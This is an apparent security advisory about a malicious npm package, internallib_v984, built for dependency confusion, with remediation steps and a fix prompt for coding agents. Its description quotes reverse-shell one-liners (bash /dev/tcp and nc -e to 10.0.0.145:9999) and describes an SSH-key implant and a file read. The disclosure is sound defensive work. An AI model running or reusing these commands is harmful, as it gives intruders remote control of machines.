# MAL-2026-5695: Malicious code in internallib_v984 (npm)


- **Type:** Malicious package
- **Package:** `internallib_v984` (npm)
- **Published:** 12 Jun 2026
- **Also known as:** GHSA-24jp-936m-6fg4

## What is MAL-2026-5695?

MAL-2026-5695 is a malicious package in internallib_v984, published on 12 Jun 2026. 

### Official description

Package exports a single `command()` function that, when invoked, performs three coordinated attacks against the host: (1) appends a hardcoded attacker-controlled SSH public key (`tr0n@DESKTOP-GVIA2J0`) to `authorized_keys` under `/root/.ssh`, `/home/gitlab-runner/.ssh`, and `/home/internal/.ssh`, granting persistent remote root and CI-runner login; (2) reads `/root/root.txt`, `/home/internal/user.txt`, and `/home/gitlab-runner/user.txt` and writes their contents to stdout; (3) opens a reverse shell to `10.0.0.145:9999` using three redundant methods (`bash -i >& /dev/tcp/10.0.0.145/9999 0>&1`, `nc -e /bin/bash 10.0.0.145 9999`, and a Node `net.Socket` connecting to the same address with `spawn('/bin/bash')`). The package has no README, no author or repository metadata, and the name `internallib_v984` is shaped to win a dependency-confusion resolution against an internal library of that name. There is no legitimate functionality — the entire module is offensive tooling. Any consumer that resolves this package from the public registry and calls its export is fully compromised: persistent SSH access via the implanted key, live interactive C2 via the reverse shell, and exfiltration of CTF-style flag files. The hardcoded RFC1918 destination (`10.0.0.145`) further indicates the attacker expects to land inside a corporate or lab network where that address is routable.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5695?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5695 is a malicious package: internallib_v984 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5695/ (Markdown: https://insights.sbomify.com/MAL-2026-5695/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5695

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5695/
Summaries are generated and may contain mistakes; the official description above is the record.
